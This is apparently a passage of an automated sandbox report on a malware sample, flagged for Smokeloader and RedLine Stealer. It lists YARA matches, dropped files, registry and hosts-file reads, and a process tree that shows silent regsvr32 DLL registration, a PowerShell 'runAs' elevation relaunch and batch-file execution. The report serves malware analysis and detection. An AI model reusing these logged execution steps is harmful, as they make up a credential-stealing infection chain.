Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll

Source: 5Yzloz244r.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 10.2.6C7B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 4.2.6C7B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.0.C33B.exe.7f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: 00000027.00000002.2633548507.00000000021B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000020.00000002.2240906447.0000000000758000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1943005542.000000000066E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001B.00000002.2187651810.0000000002800000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.2239536145.0000000000590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001D.00000002.2274530955.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001D.00000002.2273976773.00000000029A9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000027.00000002.2632990846.00000000008E8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.1990030741.00000000023D0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000003.00000002.1942372818.0000000000470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\C33B.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector

Source: E059.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 87C6.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 40BE.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 742D.dll.1.dr	Static PE information: Section: .text IMAGE_SCN_TYPE_DSECT, IMAGE_SCN_TYPE_NOLOAD, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_LNK_OTHER, IMAGE_SCN_MEM_PROTECTED, IMAGE_SCN_NO_DEFER_SPEC_EXC, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: D741.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: addjbtc.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.15.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.20.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: syncUpd[1].exe.30.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: nsdE4F9.tmp.30.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 742D.dll.1.dr	Static PE information: Section: .qdata ZLIB complexity 0.9936885127314815
Source: 742D.dll.1.dr	Static PE information: Section: HIcf6ht ZLIB complexity 0.9946895623059007

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winEXE@164/206@26/47

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Code function: 10_2_004023F2 LoadLibraryA,LookupPrivilegeValueA,AdjustTokenPrivileges,LoadLibraryA,NtShutdownSystem,

10_2_004023F2

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Code function: 0_2_006519D1 CreateToolhelp32Snapshot,Module32First,

0_2_006519D1

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jjdjbtc

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Mutant created: \Sessions\1\BaseNamedObjects\jmuZVxzUSQKZJ
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6108:64:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7096
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:888:120:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\6C7B.tmp

Jump to behavior

Source: Yara match	File source: 33.0.BroomSetup.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000000.2186784189.0000000000401000.00000020.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Temp\Task.bat" "

Source: 5Yzloz244r.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 5Yzloz244r.exe	ReversingLabs: Detection: 57%
Source: 5Yzloz244r.exe	Virustotal: Detection: 48%

Source: unknown	Process created: C:\Users\user\Desktop\5Yzloz244r.exe C:\Users\user\Desktop\5Yzloz244r.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jjdjbtc C:\Users\user\AppData\Roaming\jjdjbtc
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6C7B.exe C:\Users\user\AppData\Local\Temp\6C7B.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\6C7B.exe "C:\Users\user\AppData\Local\Temp\6C7B.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\742D.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\742D.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7CB9.exe C:\Users\user\AppData\Local\Temp\7CB9.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\87C6.exe C:\Users\user\AppData\Local\Temp\87C6.exe
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process created: C:\Users\user\AppData\Local\Temp\87C6.exe C:\Users\user\AppData\Local\Temp\87C6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\98EE.exe C:\Users\user\AppData\Local\Temp\98EE.exe
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Process created: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp "C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp" /SL5="$E0076,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe"
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Process created: C:\Users\user\AppData\Local\Temp\98EE.exe "C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Process created: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp "C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp" /SL5="$80272,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process created: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe "C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process created: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe "C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -s
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7096 -ip 7096
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1448
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C33B.exe C:\Users\user\AppData\Local\Temp\C33B.exe
Source: unknown	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: unknown	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe "C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe "C:\Users\user\AppData\Local\Temp\InstallSetup4.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\FourthX.exe "C:\Users\user\AppData\Local\Temp\FourthX.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D741.exe C:\Users\user\AppData\Local\Temp\D741.exe
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process created: C:\Users\user\AppData\Local\Temp\BroomSetup.exe C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Temp\Task.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process created: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 1251
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\FourthX.exe "C:\Users\user\AppData\Local\Temp\FourthX.exe"
